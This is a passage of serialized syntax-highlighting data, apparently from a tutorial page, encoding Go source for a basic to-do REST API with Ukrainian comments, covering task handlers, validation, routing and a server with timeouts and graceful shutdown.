[5557,37624,13049],{"class":5567},[5557,37626,6695],{"class":5585},[5557,37628,37629,37632,37634,37636],{"class":5559,"line":6898},[5557,37630,37631],{"class":5592},"        \"tasks\"",[5557,37633,6704],{"class":5585},[5557,37635,36909],{"class":5654},[5557,37637,6710],{"class":5585},[5557,37639,37640,37643,37645,37647,37649,37651],{"class":5559,"line":6914},[5557,37641,37642],{"class":5592},"        \"count\"",[5557,37644,6704],{"class":5585},[5557,37646,6871],{"class":5637},[5557,37648,5673],{"class":5585},[5557,37650,36909],{"class":5654},[5557,37652,14647],{"class":5585},[5557,37654,37655],{"class":5559,"line":6924},[5557,37656,11978],{"class":5585},[5557,37658,37659],{"class":5559,"line":6929},[5557,37660,5922],{"class":5585},[5557,37662,37663],{"class":5559,"line":6935},[5557,37664,5575],{"emptyLinePlaceholder":5574},[5557,37666,37667,37669,37671,37673,37675,37677,37679,37681,37683,37685,37687,37689,37691,37693,37695,37697,37699,37701,37703],{"class":5559,"line":6967},[5557,37668,5634],{"class":5563},[5557,37670,5226],{"class":5585},[5557,37672,36771],{"class":5654},[5557,37674,18338],{"class":5585},[5557,37676,36704],{"class":5567},[5557,37678,10276],{"class":5585},[5557,37680,37462],{"class":5637},[5557,37682,5673],{"class":5585},[5557,37684,8909],{"class":5654},[5557,37686,8912],{"class":5567},[5557,37688,5268],{"class":5585},[5557,37690,8917],{"class":5567},[5557,37692,5305],{"class":5585},[5557,37694,8922],{"class":5654},[5557,37696,8925],{"class":5585},[5557,37698,8928],{"class":5567},[5557,37700,5268],{"class":5585},[5557,37702,8933],{"class":5567},[5557,37704,5949],{"class":5585},[5557,37706,37707,37709,37711,37713],{"class":5559,"line":6980},[5557,37708,18492],{"class":5563},[5557,37710,15151],{"class":5654},[5557,37712,11997],{"class":5563},[5557,37714,5701],{"class":5585},[5557,37716,37717,37719,37721],{"class":5559,"line":7004},[5557,37718,36859],{"class":5654},[5557,37720,6662],{"class":5567},[5557,37722,14527],{"class":5592},[5557,37724,37725],{"class":5559,"line":7009},[5557,37726,5735],{"class":5585},[5557,37728,37729],{"class":5559,"line":15921},[5557,37730,5575],{"emptyLinePlaceholder":5574},[5557,37732,37733,37735,37737,37739,37741,37743,37745,37747,37749,37751,37753,37755,37757,37759,37761,37763,37765,37767,37769],{"class":5559,"line":15931},[5557,37734,5689],{"class":5581},[5557,37736,5692],{"class":5654},[5557,37738,5663],{"class":5585},[5557,37740,6560],{"class":5654},[5557,37742,5268],{"class":5585},[5557,37744,15187],{"class":5637},[5557,37746,5673],{"class":5585},[5557,37748,8922],{"class":5654},[5557,37750,5268],{"class":5585},[5557,37752,15196],{"class":5654},[5557,37754,7121],{"class":5585},[5557,37756,15201],{"class":5637},[5557,37758,15204],{"class":5585},[5557,37760,15207],{"class":5654},[5557,37762,15210],{"class":5585},[5557,37764,5660],{"class":5654},[5557,37766,5695],{"class":5585},[5557,37768,5698],{"class":5563},[5557,37770,5701],{"class":5585},[5557,37772,37773,37775,37777,37779,37781,37783,37785,37788,37790,37792,37794,37796],{"class":5559,"line":15951},[5557,37774,9300],{"class":5654},[5557,37776,5268],{"class":5585},[5557,37778,9267],{"class":5637},[5557,37780,5673],{"class":5585},[5557,37782,8909],{"class":5654},[5557,37784,5305],{"class":5585},[5557,37786,37787],{"class":5592},"\"Invalid JSON\"",[5557,37789,5305],{"class":5585},[5557,37791,8928],{"class":5654},[5557,37793,5268],{"class":5585},[5557,37795,13902],{"class":5654},[5557,37797,5623],{"class":5585},[5557,37799,37800],{"class":5559,"line":15956},[5557,37801,6076],{"class":5581},[5557,37803,37804],{"class":5559,"line":15967},[5557,37805,5735],{"class":5585},[5557,37807,37808],{"class":5559,"line":15972},[5557,37809,5575],{"emptyLinePlaceholder":5574},[5557,37811,37812,37814,37816,37818,37820,37822,37824,37826,37828,37830,37832],{"class":5559,"line":15983},[5557,37813,5689],{"class":5581},[5557,37815,11414],{"class":5654},[5557,37817,5268],{"class":5585},[5557,37819,36300],{"class":5637},[5557,37821,5673],{"class":5585},[5557,37823,15207],{"class":5654},[5557,37825,5268],{"class":5585},[5557,37827,14694],{"class":5654},[5557,37829,10985],{"class":5585},[5557,37831,9520],{"class":5592},[5557,37833,5701],{"class":5585},[5557,37835,37836,37838,37840,37842,37844,37846,37848,37851,37853,37855,37857,37859],{"class":5559,"line":16011},[5557,37837,9300],{"class":5654},[5557,37839,5268],{"class":5585},[5557,37841,9267],{"class":5637},[5557,37843,5673],{"class":5585},[5557,37845,8909],{"class":5654},[5557,37847,5305],{"class":5585},[5557,37849,37850],{"class":5592},"\"Title is required\"",[5557,37852,5305],{"class":5585},[5557,37854,8928],{"class":5654},[5557,37856,5268],{"class":5585},[5557,37858,31610],{"class":5654},[5557,37860,5623],{"class":5585},[5557,37862,37863],{"class":5559,"line":16016},[5557,37864,6076],{"class":5581},[5557,37866,37867],{"class":5559,"line":16021},[5557,37868,5735],{"class":5585},[5557,37870,37871],{"class":5559,"line":16026},[5557,37872,5575],{"emptyLinePlaceholder":5574},[5557,37874,37875,37877,37879,37881,37883,37885,37887,37889,37891,37893],{"class":5559,"line":16032},[5557,37876,36833],{"class":5654},[5557,37878,5663],{"class":5585},[5557,37880,17575],{"class":5654},[5557,37882,5268],{"class":5585},[5557,37884,18378],{"class":5637},[5557,37886,5673],{"class":5585},[5557,37888,15207],{"class":5654},[5557,37890,5268],{"class":5585},[5557,37892,14694],{"class":5654},[5557,37894,5623],{"class":5585},[5557,37896,37897],{"class":5559,"line":16052},[5557,37898,5575],{"emptyLinePlaceholder":5574},[5557,37900,37901,37903,37905,37907,37909,37911,37913,37915,37917,37919],{"class":5559,"line":16057},[5557,37902,9121],{"class":5654},[5557,37904,5268],{"class":5585},[5557,37906,10972],{"class":5637},[5557,37908,11043],{"class":5585},[5557,37910,11046],{"class":5637},[5557,37912,5673],{"class":5585},[5557,37914,11098],{"class":5592},[5557,37916,5305],{"class":5585},[5557,37918,6555],{"class":5592},[5557,37920,5623],{"class":5585},[5557,37922,37923,37925,37927,37929,37931,37933,37935,37937],{"class":5559,"line":16062},[5557,37924,9121],{"class":5654},[5557,37926,5268],{"class":5585},[5557,37928,9126],{"class":5637},[5557,37930,5673],{"class":5585},[5557,37932,8928],{"class":5654},[5557,37934,5268],{"class":5585},[5557,37936,15402],{"class":5654},[5557,37938,5623],{"class":5585},[5557,37940,37941,37943,37945,37947,37949,37951,37953,37955,37957,37959],{"class":5559,"line":16068},[5557,37942,11109],{"class":5654},[5557,37944,5268],{"class":5585},[5557,37946,11114],{"class":5637},[5557,37948,5673],{"class":5585},[5557,37950,8909],{"class":5654},[5557,37952,7121],{"class":5585},[5557,37954,11123],{"class":5637},[5557,37956,5673],{"class":5585},[5557,37958,37050],{"class":5654},[5557,37960,5623],{"class":5585},[5557,37962,37963],{"class":5559,"line":16110},[5557,37964,5922],{"class":5585},[5557,37966,37967],{"class":5559,"line":16130},[5557,37968,5575],{"emptyLinePlaceholder":5574},[5557,37970,37971,37973,37975,37977,37979,37981,37983,37986,37988,37990,37992,37994,37996,37998,38000,38002,38004,38006,38008],{"class":5559,"line":16153},[5557,37972,5634],{"class":5563},[5557,37974,5226],{"class":5585},[5557,37976,36771],{"class":5654},[5557,37978,18338],{"class":5585},[5557,37980,36704],{"class":5567},[5557,37982,10276],{"class":5585},[5557,37984,37985],{"class":5637},"handleTaskByID",[5557,37987,5673],{"class":5585},[5557,37989,8909],{"class":5654},[5557,37991,8912],{"class":5567},[5557,37993,5268],{"class":5585},[5557,37995,8917],{"class":5567},[5557,37997,5305],{"class":5585},[5557,37999,8922],{"class":5654},[5557,38001,8925],{"class":5585},[5557,38003,8928],{"class":5567},[5557,38005,5268],{"class":5585},[5557,38007,8933],{"class":5567},[5557,38009,5949],{"class":5585},[5557,38011,38012],{"class":5559,"line":16184},[5557,38013,38014],{"class":5647},"    \u002F\u002F Парсимо ID із шляху (наприклад, \u002Ftasks\u002F42)\n",[5557,38016,38017,38020,38022,38024,38026,38029,38031,38033,38035,38037,38039,38041,38043,38045],{"class":5559,"line":16189},[5557,38018,38019],{"class":5654},"    pathParts",[5557,38021,5663],{"class":5585},[5557,38023,6103],{"class":5654},[5557,38025,5268],{"class":5585},[5557,38027,38028],{"class":5637},"Split",[5557,38030,5673],{"class":5585},[5557,38032,8922],{"class":5654},[5557,38034,5268],{"class":5585},[5557,38036,10097],{"class":5654},[5557,38038,5268],{"class":5585},[5557,38040,8629],{"class":5654},[5557,38042,5305],{"class":5585},[5557,38044,9017],{"class":5592},[5557,38046,5623],{"class":5585},[5557,38048,38049,38051,38053,38055,38058,38060,38062],{"class":5559,"line":16194},[5557,38050,5689],{"class":5581},[5557,38052,6123],{"class":5637},[5557,38054,5673],{"class":5585},[5557,38056,38057],{"class":5654},"pathParts",[5557,38059,6131],{"class":5585},[5557,38061,14657],{"class":6134},[5557,38063,5701],{"class":5585},[5557,38065,38066,38068,38070,38072,38074,38076,38078,38081,38083,38085,38087,38089],{"class":5559,"line":16210},[5557,38067,9300],{"class":5654},[5557,38069,5268],{"class":5585},[5557,38071,9267],{"class":5637},[5557,38073,5673],{"class":5585},[5557,38075,8909],{"class":5654},[5557,38077,5305],{"class":5585},[5557,38079,38080],{"class":5592},"\"Invalid path\"",[5557,38082,5305],{"class":5585},[5557,38084,8928],{"class":5654},[5557,38086,5268],{"class":5585},[5557,38088,13902],{"class":5654},[5557,38090,5623],{"class":5585},[5557,38092,38093],{"class":5559,"line":16243},[5557,38094,6076],{"class":5581},[5557,38096,38097],{"class":5559,"line":16267},[5557,38098,5735],{"class":5585},[5557,38100,38101],{"class":5559,"line":16272},[5557,38102,5575],{"emptyLinePlaceholder":5574},[5557,38104,38106,38108,38110,38112,38114,38116,38118,38120,38122,38124,38126,38128],{"class":5559,"line":38105},141,[5557,38107,13401],{"class":5654},[5557,38109,5305],{"class":5585},[5557,38111,5660],{"class":5654},[5557,38113,5663],{"class":5585},[5557,38115,13926],{"class":5654},[5557,38117,5268],{"class":5585},[5557,38119,13931],{"class":5637},[5557,38121,5673],{"class":5585},[5557,38123,38057],{"class":5654},[5557,38125,6192],{"class":5585},[5557,38127,6135],{"class":6134},[5557,38129,38130],{"class":5585},"])\n",[5557,38132,38134,38136,38138,38140,38142],{"class":5559,"line":38133},142,[5557,38135,5689],{"class":5581},[5557,38137,5692],{"class":5654},[5557,38139,5695],{"class":5585},[5557,38141,5698],{"class":5563},[5557,38143,5701],{"class":5585},[5557,38145,38147,38149,38151,38153,38155,38157,38159,38162,38164,38166,38168,38170],{"class":5559,"line":38146},143,[5557,38148,9300],{"class":5654},[5557,38150,5268],{"class":5585},[5557,38152,9267],{"class":5637},[5557,38154,5673],{"class":5585},[5557,38156,8909],{"class":5654},[5557,38158,5305],{"class":5585},[5557,38160,38161],{"class":5592},"\"Invalid task ID\"",[5557,38163,5305],{"class":5585},[5557,38165,8928],{"class":5654},[5557,38167,5268],{"class":5585},[5557,38169,13902],{"class":5654},[5557,38171,5623],{"class":5585},[5557,38173,38175],{"class":5559,"line":38174},144,[5557,38176,6076],{"class":5581},[5557,38178,38180],{"class":5559,"line":38179},145,[5557,38181,5735],{"class":5585},[5557,38183,38185],{"class":5559,"line":38184},146,[5557,38186,5575],{"emptyLinePlaceholder":5574},[5557,38188,38190,38192,38194,38196,38198],{"class":5559,"line":38189},147,[5557,38191,6409],{"class":5581},[5557,38193,10109],{"class":5654},[5557,38195,5268],{"class":5585},[5557,38197,12981],{"class":5654},[5557,38199,5701],{"class":5585},[5557,38201,38203,38205,38207,38209,38211],{"class":5559,"line":38202},148,[5557,38204,6420],{"class":5581},[5557,38206,8912],{"class":5654},[5557,38208,5268],{"class":5585},[5557,38210,12990],{"class":5654},[5557,38212,6426],{"class":5585},[5557,38214,38216,38218,38220,38223,38225,38227,38229,38231,38233,38235],{"class":5559,"line":38215},149,[5557,38217,37426],{"class":5654},[5557,38219,5268],{"class":5585},[5557,38221,38222],{"class":5637},"handleGetTaskByID",[5557,38224,5673],{"class":5585},[5557,38226,8909],{"class":5654},[5557,38228,5305],{"class":5585},[5557,38230,8922],{"class":5654},[5557,38232,5305],{"class":5585},[5557,38234,13207],{"class":5654},[5557,38236,5623],{"class":5585},[5557,38238,38240,38242,38244,38246,38248],{"class":5559,"line":38239},150,[5557,38241,6420],{"class":5581},[5557,38243,8912],{"class":5654},[5557,38245,5268],{"class":5585},[5557,38247,14019],{"class":5654},[5557,38249,6426],{"class":5585},[5557,38251,38253,38255,38257,38260,38262,38264,38266,38268,38270,38272],{"class":5559,"line":38252},151,[5557,38254,37426],{"class":5654},[5557,38256,5268],{"class":5585},[5557,38258,38259],{"class":5637},"handleDeleteTask",[5557,38261,5673],{"class":5585},[5557,38263,8909],{"class":5654},[5557,38265,5305],{"class":5585},[5557,38267,8922],{"class":5654},[5557,38269,5305],{"class":5585},[5557,38271,13207],{"class":5654},[5557,38273,5623],{"class":5585},[5557,38275,38277,38279],{"class":5559,"line":38276},152,[5557,38278,6573],{"class":5581},[5557,38280,6426],{"class":5585},[5557,38282,38284,38286,38288,38290,38292,38294,38296,38298,38300,38302,38304,38306],{"class":5559,"line":38283},153,[5557,38285,9300],{"class":5654},[5557,38287,5268],{"class":5585},[5557,38289,9267],{"class":5637},[5557,38291,5673],{"class":5585},[5557,38293,8909],{"class":5654},[5557,38295,5305],{"class":5585},[5557,38297,13009],{"class":5592},[5557,38299,5305],{"class":5585},[5557,38301,8928],{"class":5654},[5557,38303,5268],{"class":5585},[5557,38305,13018],{"class":5654},[5557,38307,5623],{"class":5585},[5557,38309,38311],{"class":5559,"line":38310},154,[5557,38312,5735],{"class":5585},[5557,38314,38316],{"class":5559,"line":38315},155,[5557,38317,5922],{"class":5585},[5557,38319,38321],{"class":5559,"line":38320},156,[5557,38322,5575],{"emptyLinePlaceholder":5574},[5557,38324,38326,38328,38330,38332,38334,38336,38338,38340,38342,38344,38346,38348,38350,38352,38354,38356,38358,38360,38362,38364,38366,38368],{"class":5559,"line":38325},157,[5557,38327,5634],{"class":5563},[5557,38329,5226],{"class":5585},[5557,38331,36771],{"class":5654},[5557,38333,18338],{"class":5585},[5557,38335,36704],{"class":5567},[5557,38337,10276],{"class":5585},[5557,38339,38222],{"class":5637},[5557,38341,5673],{"class":5585},[5557,38343,8909],{"class":5654},[5557,38345,8912],{"class":5567},[5557,38347,5268],{"class":5585},[5557,38349,8917],{"class":5567},[5557,38351,5305],{"class":5585},[5557,38353,8922],{"class":5654},[5557,38355,8925],{"class":5585},[5557,38357,8928],{"class":5567},[5557,38359,5268],{"class":5585},[5557,38361,8933],{"class":5567},[5557,38363,5305],{"class":5585},[5557,38365,13207],{"class":5654},[5557,38367,6650],{"class":5567},[5557,38369,5949],{"class":5585},[5557,38371,38373,38375,38377,38379,38381,38383,38385,38387,38389,38391],{"class":5559,"line":38372},158,[5557,38374,36833],{"class":5654},[5557,38376,5305],{"class":5585},[5557,38378,15904],{"class":5654},[5557,38380,5663],{"class":5585},[5557,38382,17575],{"class":5654},[5557,38384,5268],{"class":5585},[5557,38386,37120],{"class":5637},[5557,38388,5673],{"class":5585},[5557,38390,13207],{"class":5654},[5557,38392,5623],{"class":5585},[5557,38394,38396,38398,38400,38402],{"class":5559,"line":38395},159,[5557,38397,5689],{"class":5581},[5557,38399,9365],{"class":5585},[5557,38401,15904],{"class":5654},[5557,38403,5701],{"class":5585},[5557,38405,38407,38409,38411,38413,38415,38417,38419,38422,38424,38426,38428,38430],{"class":5559,"line":38406},160,[5557,38408,9300],{"class":5654},[5557,38410,5268],{"class":5585},[5557,38412,9267],{"class":5637},[5557,38414,5673],{"class":5585},[5557,38416,8909],{"class":5654},[5557,38418,5305],{"class":5585},[5557,38420,38421],{"class":5592},"\"Task not found\"",[5557,38423,5305],{"class":5585},[5557,38425,8928],{"class":5654},[5557,38427,5268],{"class":5585},[5557,38429,15672],{"class":5654},[5557,38431,5623],{"class":5585},[5557,38433,38435],{"class":5559,"line":38434},161,[5557,38436,6076],{"class":5581},[5557,38438,38440],{"class":5559,"line":38439},162,[5557,38441,5735],{"class":5585},[5557,38443,38445],{"class":5559,"line":38444},163,[5557,38446,5575],{"emptyLinePlaceholder":5574},[5557,38448,38450,38452,38454,38456,38458,38460,38462,38464,38466,38468],{"class":5559,"line":38449},164,[5557,38451,9121],{"class":5654},[5557,38453,5268],{"class":5585},[5557,38455,10972],{"class":5637},[5557,38457,11043],{"class":5585},[5557,38459,11046],{"class":5637},[5557,38461,5673],{"class":5585},[5557,38463,11098],{"class":5592},[5557,38465,5305],{"class":5585},[5557,38467,6555],{"class":5592},[5557,38469,5623],{"class":5585},[5557,38471,38473,38475,38477,38479,38481,38483,38485,38487,38489,38491],{"class":5559,"line":38472},165,[5557,38474,11109],{"class":5654},[5557,38476,5268],{"class":5585},[5557,38478,11114],{"class":5637},[5557,38480,5673],{"class":5585},[5557,38482,8909],{"class":5654},[5557,38484,7121],{"class":5585},[5557,38486,11123],{"class":5637},[5557,38488,5673],{"class":5585},[5557,38490,37050],{"class":5654},[5557,38492,5623],{"class":5585},[5557,38494,38496],{"class":5559,"line":38495},166,[5557,38497,5922],{"class":5585},[5557,38499,38501],{"class":5559,"line":38500},167,[5557,38502,5575],{"emptyLinePlaceholder":5574},[5557,38504,38506,38508,38510,38512,38514,38516,38518,38520,38522,38524,38526,38528,38530,38532,38534,38536,38538,38540,38542,38544,38546,38548],{"class":5559,"line":38505},168,[5557,38507,5634],{"class":5563},[5557,38509,5226],{"class":5585},[5557,38511,36771],{"class":5654},[5557,38513,18338],{"class":5585},[5557,38515,36704],{"class":5567},[5557,38517,10276],{"class":5585},[5557,38519,38259],{"class":5637},[5557,38521,5673],{"class":5585},[5557,38523,8909],{"class":5654},[5557,38525,8912],{"class":5567},[5557,38527,5268],{"class":5585},[5557,38529,8917],{"class":5567},[5557,38531,5305],{"class":5585},[5557,38533,8922],{"class":5654},[5557,38535,8925],{"class":5585},[5557,38537,8928],{"class":5567},[5557,38539,5268],{"class":5585},[5557,38541,8933],{"class":5567},[5557,38543,5305],{"class":5585},[5557,38545,13207],{"class":5654},[5557,38547,6650],{"class":5567},[5557,38549,5949],{"class":5585},[5557,38551,38553,38555,38557,38559,38561,38563,38565,38567],{"class":5559,"line":38552},169,[5557,38554,5689],{"class":5581},[5557,38556,9365],{"class":5585},[5557,38558,17575],{"class":5654},[5557,38560,5268],{"class":5585},[5557,38562,37229],{"class":5637},[5557,38564,5673],{"class":5585},[5557,38566,13207],{"class":5654},[5557,38568,5949],{"class":5585},[5557,38570,38572,38574,38576,38578,38580,38582,38584,38586,38588,38590,38592,38594],{"class":5559,"line":38571},170,[5557,38573,9300],{"class":5654},[5557,38575,5268],{"class":5585},[5557,38577,9267],{"class":5637},[5557,38579,5673],{"class":5585},[5557,38581,8909],{"class":5654},[5557,38583,5305],{"class":5585},[5557,38585,38421],{"class":5592},[5557,38587,5305],{"class":5585},[5557,38589,8928],{"class":5654},[5557,38591,5268],{"class":5585},[5557,38593,15672],{"class":5654},[5557,38595,5623],{"class":5585},[5557,38597,38599],{"class":5559,"line":38598},171,[5557,38600,6076],{"class":5581},[5557,38602,38604],{"class":5559,"line":38603},172,[5557,38605,5735],{"class":5585},[5557,38607,38609],{"class":5559,"line":38608},173,[5557,38610,5575],{"emptyLinePlaceholder":5574},[5557,38612,38614,38616,38618,38620,38622,38624,38626,38628],{"class":5559,"line":38613},174,[5557,38615,9121],{"class":5654},[5557,38617,5268],{"class":5585},[5557,38619,9126],{"class":5637},[5557,38621,5673],{"class":5585},[5557,38623,8928],{"class":5654},[5557,38625,5268],{"class":5585},[5557,38627,16047],{"class":5654},[5557,38629,5623],{"class":5585},[5557,38631,38633],{"class":5559,"line":38632},175,[5557,38634,5922],{"class":5585},[5557,38636,38638],{"class":5559,"line":38637},176,[5557,38639,5575],{"emptyLinePlaceholder":5574},[5557,38641,38643,38645,38647],{"class":5559,"line":38642},177,[5557,38644,5634],{"class":5563},[5557,38646,5638],{"class":5637},[5557,38648,5641],{"class":5585},[5557,38650,38652,38654,38656,38659],{"class":5559,"line":38651},178,[5557,38653,14614],{"class":5654},[5557,38655,5663],{"class":5585},[5557,38657,38658],{"class":5637},"NewTaskStore",[5557,38660,5752],{"class":5585},[5557,38662,38664],{"class":5559,"line":38663},179,[5557,38665,5575],{"emptyLinePlaceholder":5574},[5557,38667,38669],{"class":5559,"line":38668},180,[5557,38670,38671],{"class":5647},"    \u002F\u002F Додаємо кілька тестових задач\n",[5557,38673,38675,38677,38679,38681,38683,38686],{"class":5559,"line":38674},181,[5557,38676,14614],{"class":5654},[5557,38678,5268],{"class":5585},[5557,38680,18378],{"class":5637},[5557,38682,5673],{"class":5585},[5557,38684,38685],{"class":5592},"\"Вивчити HTTP протокол\"",[5557,38687,5623],{"class":5585},[5557,38689,38691,38693,38695,38697,38699,38702],{"class":5559,"line":38690},182,[5557,38692,14614],{"class":5654},[5557,38694,5268],{"class":5585},[5557,38696,18378],{"class":5637},[5557,38698,5673],{"class":5585},[5557,38700,38701],{"class":5592},"\"Створити REST API на Go\"",[5557,38703,5623],{"class":5585},[5557,38705,38707,38709,38711,38713,38715,38718],{"class":5559,"line":38706},183,[5557,38708,14614],{"class":5654},[5557,38710,5268],{"class":5585},[5557,38712,18378],{"class":5637},[5557,38714,5673],{"class":5585},[5557,38716,38717],{"class":5592},"\"Розгорнути сервер у Docker\"",[5557,38719,5623],{"class":5585},[5557,38721,38723],{"class":5559,"line":38722},184,[5557,38724,5575],{"emptyLinePlaceholder":5574},[5557,38726,38728],{"class":5559,"line":38727},185,[5557,38729,38730],{"class":5647},"    \u002F\u002F Налаштовуємо маршрути\n",[5557,38732,38734,38736,38738,38740,38742,38744],{"class":5559,"line":38733},186,[5557,38735,12612],{"class":5654},[5557,38737,5663],{"class":5585},[5557,38739,8928],{"class":5654},[5557,38741,5268],{"class":5585},[5557,38743,12621],{"class":5637},[5557,38745,5752],{"class":5585},[5557,38747,38749,38751,38753,38755,38757,38759,38761,38763,38765,38767,38769,38771,38773,38775,38777,38779,38781,38783,38785],{"class":5559,"line":38748},187,[5557,38750,12612],{"class":5654},[5557,38752,5268],{"class":5585},[5557,38754,12316],{"class":5637},[5557,38756,5673],{"class":5585},[5557,38758,9017],{"class":5592},[5557,38760,5305],{"class":5585},[5557,38762,5634],{"class":5563},[5557,38764,5673],{"class":5585},[5557,38766,8909],{"class":5654},[5557,38768,8912],{"class":5567},[5557,38770,5268],{"class":5585},[5557,38772,8917],{"class":5567},[5557,38774,5305],{"class":5585},[5557,38776,8922],{"class":5654},[5557,38778,8925],{"class":5585},[5557,38780,8928],{"class":5567},[5557,38782,5268],{"class":5585},[5557,38784,8933],{"class":5567},[5557,38786,5949],{"class":5585},[5557,38788,38790,38792,38794,38796,38798,38800,38802,38805],{"class":5559,"line":38789},188,[5557,38791,11530],{"class":5654},[5557,38793,5268],{"class":5585},[5557,38795,9146],{"class":5637},[5557,38797,5673],{"class":5585},[5557,38799,8909],{"class":5654},[5557,38801,5305],{"class":5585},[5557,38803,38804],{"class":5592},"\"🚀 To-Do API працює! Спробуйте GET \u002Ftasks\"",[5557,38806,5623],{"class":5585},[5557,38808,38810],{"class":5559,"line":38809},189,[5557,38811,11978],{"class":5585},[5557,38813,38815,38817,38819,38821,38823,38826,38828,38830,38832,38834],{"class":5559,"line":38814},190,[5557,38816,12612],{"class":5654},[5557,38818,5268],{"class":5585},[5557,38820,12316],{"class":5637},[5557,38822,5673],{"class":5585},[5557,38824,38825],{"class":5592},"\"\u002Ftasks\"",[5557,38827,5305],{"class":5585},[5557,38829,14986],{"class":5654},[5557,38831,5268],{"class":5585},[5557,38833,37373],{"class":5654},[5557,38835,5623],{"class":5585},[5557,38837,38839,38841,38843,38845,38847,38850,38852,38854,38856,38858],{"class":5559,"line":38838},191,[5557,38840,12612],{"class":5654},[5557,38842,5268],{"class":5585},[5557,38844,12316],{"class":5637},[5557,38846,5673],{"class":5585},[5557,38848,38849],{"class":5592},"\"\u002Ftasks\u002F\"",[5557,38851,5305],{"class":5585},[5557,38853,14986],{"class":5654},[5557,38855,5268],{"class":5585},[5557,38857,37985],{"class":5654},[5557,38859,5623],{"class":5585},[5557,38861,38863],{"class":5559,"line":38862},192,[5557,38864,5575],{"emptyLinePlaceholder":5574},[5557,38866,38868],{"class":5559,"line":38867},193,[5557,38869,38870],{"class":5647},"    \u002F\u002F Кастомний сервер із таймаутами\n",[5557,38872,38874,38876,38878,38880,38882,38884],{"class":5559,"line":38873},194,[5557,38875,22178],{"class":5654},[5557,38877,8973],{"class":5585},[5557,38879,8928],{"class":5567},[5557,38881,5268],{"class":5585},[5557,38883,21760],{"class":5567},[5557,38885,6695],{"class":5585},[5557,38887,38889,38891,38894,38896],{"class":5559,"line":38888},195,[5557,38890,22193],{"class":5654},[5557,38892,38893],{"class":5585},":         ",[5557,38895,5681],{"class":5592},[5557,38897,6710],{"class":5585},[5557,38899,38901,38903,38905,38907],{"class":5559,"line":38900},196,[5557,38902,22204],{"class":5654},[5557,38904,22267],{"class":5585},[5557,38906,12726],{"class":5654},[5557,38908,6710],{"class":5585},[5557,38910,38912,38914,38916,38918,38920,38922,38924,38926],{"class":5559,"line":38911},197,[5557,38913,22224],{"class":5654},[5557,38915,14628],{"class":5585},[5557,38917,18335],{"class":6134},[5557,38919,20429],{"class":5585},[5557,38921,20432],{"class":5654},[5557,38923,5268],{"class":5585},[5557,38925,20437],{"class":5654},[5557,38927,6710],{"class":5585},[5557,38929,38931,38933,38935,38937,38939,38941,38943,38945],{"class":5559,"line":38930},198,[5557,38932,22264],{"class":5654},[5557,38934,6704],{"class":5585},[5557,38936,18335],{"class":6134},[5557,38938,20429],{"class":5585},[5557,38940,20432],{"class":5654},[5557,38942,5268],{"class":5585},[5557,38944,20437],{"class":5654},[5557,38946,6710],{"class":5585},[5557,38948,38950,38952,38954,38956,38958,38960,38962,38964],{"class":5559,"line":38949},199,[5557,38951,22284],{"class":5654},[5557,38953,14628],{"class":5585},[5557,38955,22289],{"class":6134},[5557,38957,20429],{"class":5585},[5557,38959,20432],{"class":5654},[5557,38961,5268],{"class":5585},[5557,38963,20437],{"class":5654},[5557,38965,6710],{"class":5585},[5557,38967,38969],{"class":5559,"line":38968},200,[5557,38970,5735],{"class":5585},[5557,38972,38974],{"class":5559,"line":38973},201,[5557,38975,5575],{"emptyLinePlaceholder":5574},[5557,38977,38979],{"class":5559,"line":38978},202,[5557,38980,38981],{"class":5647},"    \u002F\u002F Запускаємо сервер у горутині\n",[5557,38983,38985,38987,38989],{"class":5559,"line":38984},203,[5557,38986,22548],{"class":5581},[5557,38988,21829],{"class":5563},[5557,38990,5641],{"class":5585},[5557,38992,38994,38996,38998,39000,39002,39005],{"class":5559,"line":38993},204,[5557,38995,11530],{"class":5654},[5557,38997,5268],{"class":5585},[5557,38999,5768],{"class":5637},[5557,39001,5673],{"class":5585},[5557,39003,39004],{"class":5592},"\"🚀 To-Do API запущено на http:\u002F\u002Flocalhost:8080\"",[5557,39006,5623],{"class":5585},[5557,39008,39010,39012,39014,39016,39018,39020,39022,39024,39026,39028,39030,39032,39034,39036,39038,39040,39042],{"class":5559,"line":39009},205,[5557,39011,5838],{"class":5581},[5557,39013,5692],{"class":5654},[5557,39015,5663],{"class":5585},[5557,39017,22578],{"class":5654},[5557,39019,5268],{"class":5585},[5557,39021,12422],{"class":5637},[5557,39023,19305],{"class":5585},[5557,39025,5660],{"class":5654},[5557,39027,5695],{"class":5585},[5557,39029,5698],{"class":5563},[5557,39031,29714],{"class":5585},[5557,39033,5660],{"class":5654},[5557,39035,5695],{"class":5585},[5557,39037,8928],{"class":5654},[5557,39039,5268],{"class":5585},[5557,39041,22595],{"class":5654},[5557,39043,5701],{"class":5585},[5557,39045,39047,39049,39051,39053,39055,39057,39059,39061,39063,39065],{"class":5559,"line":39046},206,[5557,39048,5852],{"class":5654},[5557,39050,5268],{"class":5585},[5557,39052,5712],{"class":5637},[5557,39054,5673],{"class":5585},[5557,39056,30183],{"class":5592},[5557,39058,5720],{"class":5654},[5557,39060,5723],{"class":5592},[5557,39062,5305],{"class":5585},[5557,39064,5660],{"class":5654},[5557,39066,5623],{"class":5585},[5557,39068,39070],{"class":5559,"line":39069},207,[5557,39071,5884],{"class":5585},[5557,39073,39075],{"class":5559,"line":39074},208,[5557,39076,22629],{"class":5585},[5557,39078,39080],{"class":5559,"line":39079},209,[5557,39081,5575],{"emptyLinePlaceholder":5574},[5557,39083,39085],{"class":5559,"line":39084},210,[5557,39086,22638],{"class":5647},[5557,39088,39090,39092,39094,39096,39098,39100,39102,39104,39106,39108,39110],{"class":5559,"line":39089},211,[5557,39091,22643],{"class":5654},[5557,39093,5663],{"class":5585},[5557,39095,14631],{"class":5637},[5557,39097,5673],{"class":5585},[5557,39099,22652],{"class":5563},[5557,39101,22655],{"class":5567},[5557,39103,5268],{"class":5585},[5557,39105,22660],{"class":5567},[5557,39107,5305],{"class":5585},[5557,39109,6213],{"class":6134},[5557,39111,5623],{"class":5585},[5557,39113,39115,39117,39119,39121,39123,39125,39127,39129,39131,39133,39135,39137,39139,39141],{"class":5559,"line":39114},212,[5557,39116,22671],{"class":5654},[5557,39118,5268],{"class":5585},[5557,39120,22676],{"class":5637},[5557,39122,5673],{"class":5585},[5557,39124,22681],{"class":5654},[5557,39126,5305],{"class":5585},[5557,39128,18373],{"class":5654},[5557,39130,5268],{"class":5585},[5557,39132,22690],{"class":5654},[5557,39134,5305],{"class":5585},[5557,39136,22695],{"class":5654},[5557,39138,5268],{"class":5585},[5557,39140,22700],{"class":5654},[5557,39142,5623],{"class":5585},[5557,39144,39146,39148],{"class":5559,"line":39145},213,[5557,39147,22707],{